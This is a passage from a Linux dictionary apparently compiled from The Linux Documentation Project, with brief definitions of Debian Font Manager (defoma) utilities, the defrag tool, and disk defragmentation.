generate font hints. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-id

Manage id-cache of Debian Font Manager From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-psfont-installer

register fonts installed in a PostScript printer. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-reconfigure

Reconfigure all from zero. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defoma-subst

Modify a rulefile of Defoma font substitution system. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defrag

ext2, minix and xiafs filesystem defragmenter As a file system is used, data tends to become more and more scattered across the disk, degrading performance. A disk defragmenter simply re-organises the data on the disk, so that individual files occupy a single sequential set of disk blocks, and all the free space on the disk is collected together in a single region. Thie generally means that reading a whole file is faster, and disk accesses in general are more efficient. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

defragmentation

The process of relocating broken or separated files from random, non-contiguous locations on a physical disk platter to contiguous locations, which improves the speed and reliability of the disk. From Redhat-9-Glossary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DEG </